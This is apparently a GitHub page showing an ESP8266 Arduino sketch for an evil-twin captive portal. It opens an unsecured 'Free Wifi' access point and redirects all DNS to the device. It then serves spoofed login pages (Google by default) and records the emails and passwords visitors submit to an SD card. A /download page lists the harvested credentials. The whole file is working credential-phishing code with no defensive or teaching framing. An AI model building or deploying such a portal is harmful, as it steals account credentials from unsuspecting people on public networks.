-
Notifications
You must be signed in to change notification settings - Fork 0
/
my_esp_captive_portal.ino
285 lines (213 loc) · 7.35 KB
/
my_esp_captive_portal.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <DNSServer.h>
#include <SPI.h>
#include <SD.h>
IPAddress apIP(196, 0, 0, 1);
String SSID = "Free Wifi";
String SSID_PASSWORD= "12345678";
ESP8266WebServer apWebServer(80);
DNSServer apDnsServer;
File outputFile;
String currentPortalType = "google";
const String OUTPUT_FILENAME = "output.txt";
const byte DNS_PORT = 53;
const int chipSelect = D4;
void setup() {
// put your setup code here, to run once:
Serial.begin(115200);
Serial.print("Setup program...");
pinMode(LED_BUILTIN, OUTPUT);
digitalWrite(LED_BUILTIN, HIGH);
if (!SD.begin(chipSelect)) {
Serial.println("Card failed, or not present");
return;
} else {
Serial.println("SD Card success");
}
startAP();
startWebServer();
}
void writeFile(String dataString) {
outputFile = SD.open(OUTPUT_FILENAME, FILE_WRITE);
if (outputFile) {
Serial.print("Writing to output.txt...");
outputFile.println(dataString);
// close the file:
outputFile.close();
Serial.println("done.");
} else {
// if the file didn't open, print an error:
Serial.println("error opening test.txt");
}
}
void openFile() {
outputFile = SD.open(OUTPUT_FILENAME);
if (outputFile) {
Serial.println("output.txt:");
// read from the file until there's nothing else in it:
while (outputFile.available()) {
String lineString = outputFile.readStringUntil('\n');
Serial.println(lineString);
}
// close the file:
outputFile.close();
} else {
// if the file didn't open, print an error:
Serial.println("error opening output.txt");
}
}
void startAP() {
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
//Keep hidden while developing
WiFi.softAP(SSID);
//WiFi.softAP(SSID, SSID_PASSWORD, 1, true);
}
void startWebServer() {
apDnsServer.start(DNS_PORT, "*", apIP);
apWebServer.on("/login",[]() {
postLogin();
BLINK();
//apWebServer.send(HTTP_CODE, "text/html", posted());
apWebServer.send(200, "text/html", getFileAsString("html/success.html"));
});
apWebServer.on("/download",[]() {
apWebServer.send(200, "text/html", getDownloadPage());
});
apWebServer.on("/setup",[]() {
apWebServer.send(200, "text/html", getSetupPage());
});
File portalDir = SD.open("html/portals/");
while(true) {
File entry = portalDir.openNextFile();
if (!entry) {
// Last files
break;
}
String filename=entry.name();
//avoid hidden files
if(filename.substring(0,1) == ".") continue;
String targetURL = filename;
targetURL.replace(".html", "");
apWebServer.on("/set_"+targetURL,[targetURL]() {
currentPortalType = targetURL;
apWebServer.send(200, "text/html", getSetupPage());
});
entry.close();
}
apWebServer.onNotFound([]() {
apWebServer.send(200, "text/html", getPortalString(currentPortalType));
});
apWebServer.begin();
}
void postLogin() {
String mail = getArgument("email");
String password = getArgument("password");
String platform = getArgument("platform");
Serial.println("Email: ");
Serial.println(mail);
Serial.println("Password: ");
Serial.println(password);
Serial.println("Platform: ");
Serial.println(platform);
String outputString = mail + "," + password + "," + platform;
writeFile(outputString);
openFile();
}
void BLINK() {
for (int counter = 0; counter < 10; counter++)
{
// For blinking the LED.
digitalWrite(BUILTIN_LED, counter % 2);
delay(300);
}
}
String getArgument(String argName) {
String a = apWebServer.arg(argName);
a.replace("<","<");
a.replace(">",">");
a.substring(0,200);
return a;
}
String getSetupPage() {
File portalDir = SD.open("html/portals/");
String htmlString = "";
while(true) {
File entry = portalDir.openNextFile();
if (!entry) {
// Last files
break;
}
String filename=entry.name();
//avoid hidden files
if(filename.substring(0,1) == ".") continue;
String targetURL = filename;
targetURL.replace(".html", "");
htmlString += "<a href=\"set_"+targetURL+"\">Use "+filename+"</a><br><br><br><br>";
Serial.println("file is " + filename);
entry.close();
}
return "<!DOCTYPE html><html><head><meta name=\"viewport\" content=\"width=device-width,initial-scale=1,user-scalable=no\"></head><body><div class=\"setupbox\">"+htmlString+"<style>td,th{border:1px solid #bebebe;padding:10px}td{text-align:center}tr:nth-child(even){background-color:#eee}th[scope=col]{background-color:#696969;color:#fff}th[scope=row]{background-color:#d7d9f2}table{border-collapse:collapse;border:2px solid #c8c8c8;letter-spacing:1px;font-family:sans-serif;font-size:.8rem}</style></body></html>";
}
String getDownloadPage() {
String html = "";
outputFile = SD.open(OUTPUT_FILENAME);
if (outputFile) {
Serial.println("output.txt:");
// read from the file until there's nothing else in it:
while (outputFile.available()) {
String lineString = outputFile.readStringUntil('\n');
String login = getValueAtIndex(lineString, ',', 0);
String pass = getValueAtIndex(lineString, ',', 1);
Serial.println(lineString);
html += String("<tr><td scope=\"row\">20.02.2022</td><td>Google</td><td>" + login + "</td><td>" + pass + "</td>");
}
// close the file:
outputFile.close();
} else {
// if the file didn't open, print an error:
Serial.println("error opening output.txt");
}
return "<!DOCTYPE html><html><head><meta name=\"viewport\" content=\"width=device-width,initial-scale=1,user-scalable=no\"></head><body><div class=\"download-box\"><table><tr><th scope=\"col\">Date</th><th scope=\"col\">Platforme</th><th scope=\"col\">Login</th><th scope=\"col\">Pass</th></tr>"+ html + "</table><style>td,th{border:1px solid #bebebe;padding:10px}td{text-align:center}tr:nth-child(even){background-color:#eee}th[scope=col]{background-color:#696969;color:#fff}th[scope=row]{background-color:#d7d9f2}table{border-collapse:collapse;border:2px solid #c8c8c8;letter-spacing:1px;font-family:sans-serif;font-size:.8rem}</style></body></html>";
}
String getPortalString(String type) {
String outputString = "";
outputString = getFileAsString("html/portals/"+type+".html");
return outputString;
}
String getFileAsString(String filePath) {
String outputString = "";
outputFile = SD.open(filePath);
if (outputFile) {
Serial.println("Read file: " + filePath);
// read from the file until there's nothing else in it:
outputString = outputFile.readString();
// close the file:
outputFile.close();
} else {
// if the file didn't open, print an error:
Serial.println("error opening portal html file");
}
return outputString;
}
String getValueAtIndex(String data, char separator, int index)
{
int found = 0;
int strIndex[] = {0, -1};
int maxIndex = data.length()-1;
for(int i=0; i<=maxIndex && found<=index; i++){
if(data.charAt(i)==separator || i==maxIndex){
found++;
strIndex[0] = strIndex[1]+1;
strIndex[1] = (i == maxIndex) ? i+1 : i;
}
}
return found > index ? data.substring(strIndex[0], strIndex[1]) : "";
}
void loop() {
// put your main code here, to run repeatedly:
apDnsServer.processNextRequest();
apWebServer.handleClient();
}